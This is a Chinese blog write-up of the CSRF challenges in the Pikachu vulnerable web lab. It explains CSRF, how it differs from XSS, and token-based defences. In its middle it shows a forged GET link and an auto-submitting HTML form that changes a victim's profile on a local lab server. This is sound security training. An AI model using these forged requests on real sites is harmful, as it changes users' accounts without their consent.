Pikachu靶场通关笔记--Cross-site request forgery （CSRF）

最新推荐文章于 2023-03-04 07:08:42 发布

LZ_KaiHuang

最新推荐文章于 2023-03-04 07:08:42 发布

阅读量219

点赞数

文章标签： csrf 安全 web安全

本文链接：https://blog.csdn.net/weixin_45908624/article/details/128213843

版权

CSRF(跨站请求伪造)概述

Cross-site request forgery 简称为“CSRF”，在CSRF的攻击场景中攻击者会伪造一个请求（这个请求一般是一个链接），然后欺骗目标用户进行点击，用户一旦点击了这个请求，整个攻击就完成了。所以CSRF攻击也成为"one click"攻击。很多人搞不清楚CSRF的概念，甚至有时候会将其和XSS混淆,更有甚者会将其和越权问题混为一谈,这都是对原理没搞清楚导致的。
这里列举一个场景解释一下，希望能够帮助你理解。
场景需求：
小黑想要修改大白在购物网站tianxiewww.xx.com上填写的会员地址。
先看下大白是如何修改自己的密码的：
登录---修改会员信息，提交请求---修改成功。
所以小黑想要修改大白的信息，他需要拥有：1，登录权限 2，修改个人信息的请求。

但是大白又不会把自己xxx网站的账号密码告诉小黑，那小黑怎么办？
于是他自己跑到www.xx.com上注册了一个自己的账号，然后修改了一下自己的个人信息（比如：E-mail地址），他发现修改的请求是：
【http://www.xxx.com/edit.php?email=xiaohei@88.com&Change=Change】
于是，他实施了这样一个操作：把这个链接伪装一下，在小白登录xxx网站后，欺骗他进行点击，小白点击这个链接后，个人信息就被修改了,小黑就完成了攻击目的。

为啥小黑的操作能够实现呢。有如下几个关键点：
1.www.xxx.com这个网站在用户修改个人的信息时没有过多的校验，导致这个请求容易被伪造;
---因此，我们判断一个网站是否存在CSRF漏洞，其实就是判断其对关键信息（比如密码等敏感信息）的操作(增删改)是否容易被伪造。
2.小白点击了小黑发给的链接，并且这个时候小白刚好登录在购物网上;
---如果小白安全意识高，不点击不明链接，则攻击不会成功，又或者即使小白点击了链接，但小白此时并没有登录购物网站，也不会成功。
---因此，要成功实施一次CSRF攻击，需要“天时，地利，人和”的条件。
当然，如果小黑事先在xxx网的首页如果发现了一个XSS漏洞，则小黑可能会这样做：欺骗小白访问埋伏了XSS脚本（盗取cookie的脚本）的页面，小白中招，小黑拿到小白的cookie，然后小黑顺利登录到小白的后台，小黑自己修改小白的相关信息。
---所以跟上面比一下，就可以看出CSRF与XSS的区别：CSRF是借用户的权限完成攻击，攻击者并没有拿到用户的权限，而XSS是直接盗取到了用户的权限，然后实施破坏。

因此，网站如果要防止CSRF攻击，则需要对敏感信息的操作实施对应的安全措施，防止这些操作出现被伪造的情况，从而导致CSRF。比如：
--对敏感信息的操作增加安全的token；
--对敏感信息的操作增加安全的验证码；
--对敏感信息的操作实施安全的逻辑流程，比如修改密码时，需要先校验旧密码等。

csrf与xss的区别
xss攻击是，攻击者事先在某网的首页发现了一个XSS漏洞,则可能会这样做：
1,欺骗被害者访问埋伏了XSS脚本(盗取cookie的脚本)的页面;
2,被害者中招，黑客盗取到到他的cookie ;
3,黑客顺利登录到受害者的后台,自己修改受害者的相关信息;

CSRF是借用户的权限完成攻击,攻击者并没有拿到用户的权限,而XSS是直接盗取到了用户的权限,然后实施破坏。
如何确认一个web系统存在csrf漏洞
1，对目标网站增删改的地方进行标记,并观察其逻辑，判断请求是否可以被伪造
–比如修改管理员账号时，并不需要验证旧密码，导致请求容易被伪造 ;
–比如对于敏感信息的修改并没有使用安全的token验证，导致请求容易被伪造;
2.确认凭证的有效期(这个问题会提高CSRF被利用的概率)
—虽然退出或者关闭了浏览器,但cookie仍然有效，或者session并没有及时过期,导致CSRF攻击变的简单

CSRF（get）

我们根据提示登录kobe的账号

可以看到kobe的个人信息以及修改个人信息。

打开bp抓包，修改一下个人信息并提交看一下请求。

我们可以看到，请求修改的信息全部在请求的头中

/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php?sex=%E7%94%B7&phonenum=10086&add=%E4%BC%8A%E6%8B%89%E5%85%8B&email=10086%40qq.com&submit=submit

并且没有CSRF的token，也就是说没有防御CSRF。

放行后修改成功。

那么我们直接构造一个带有修改信息的请求的链接给kobe点击会发生什么事呢？

http://127.0.0.1/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php?sex=女&phonenum=10010&add=阿富汗&email=10010@qq.com&submit=submit

kobe点击该链接后，他的信息被修改。我们利用kobe自己的权限诱导kobe自己把信息修改成我们想要的内容。

CSRF（Post）

post型，因为是请求体，不能在url中，所以无法再使用通过URL来伪造请求的办法。

但是我们可以通过抓包的信息来构造一个自己的表单。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>csrf_post</title>
    <script>
        window.onload = function(){
            document.getElementById("postsubmit").click();
        }
    </script>
</head>
<body>
    <form action="http://192.168.1.157/pikachu-master/vul/csrf/csrfpost/csrf_post_edit.php" method="post">
        <input type="text" name="sex" value="女子"><br>
        <input type="hidden" name="phonenum" value="10086"><br>
        <input type="hidden" name="add" value="尼泊尔"><br>
        <input type="hidden" name="email" value="hacker！！"><br>
        <input id="postsubmit" type="submit" name="submit" value="submit">
    </form>
</body>
</html>

用户在cookie生效期间点击了含有这个表单的链接，噗~个人信息被修改

CSRF Token

csrf的主要问题是敏感操作链接容易被伪造，那么该怎么做才能不让链接那么容易被伪造呢？

这就引出了Token，什么是Token

Token的定义：Token是服务端生成的一串字符串，以作客户端进行请求的一个令牌，当第一次登录后，服务器生成一个Token便将此Token返回给客户端，以后客户端只需带上这个Token前来请求数据即可，无需再次带上用户名和密码。

感觉，诶？token也是用于用户身份验证，那不是和cookie一样吗？其实是有区别的。

session ：就是会话。这个就类似于你和一个人交谈，你怎么知道当前和你交谈的是张三而不是李四呢？对方肯定有某种特征（长相等）表明他就是张三。服务器就要给每个客户端分配不同的“身份标识”，然后客户端每次向服务器发请求的时候，都带上这个“身份标识”，服务器就知道这个请求来自于谁了。至于客户端怎么保存这个“身份标识”，可以有很多种方式，对于浏览器客户端，大家都默认采用 cookie 的方式。

cookie：非常具体的东西，指的就是浏览器里面能永久存储的一种数据，仅仅是浏览器实现的一种数据存储功能。cookie由服务器生成，发送给浏览器，浏览器把cookie以kv形式保存到某个目录下的文本文件内，下一次请求会把该cookie发送给服务器。

区别：cookie数据存放在客户的浏览器上，session数据放在服务器上。将重要信息存放在Session中，其他信息如果需要保留，可以放在cookie中。

当用户首次访问服务器的时候，服务器为每个用户单独创建一个 Session 对象，并分配一个新的 SessionID，此时 SessionID 通过 cookie 保存在用户端。

理解cookie、session和token的关键在于它们三者都是为了解决web身份验证而诞生的。session保存在服务器端，cookie和token保存在客户端。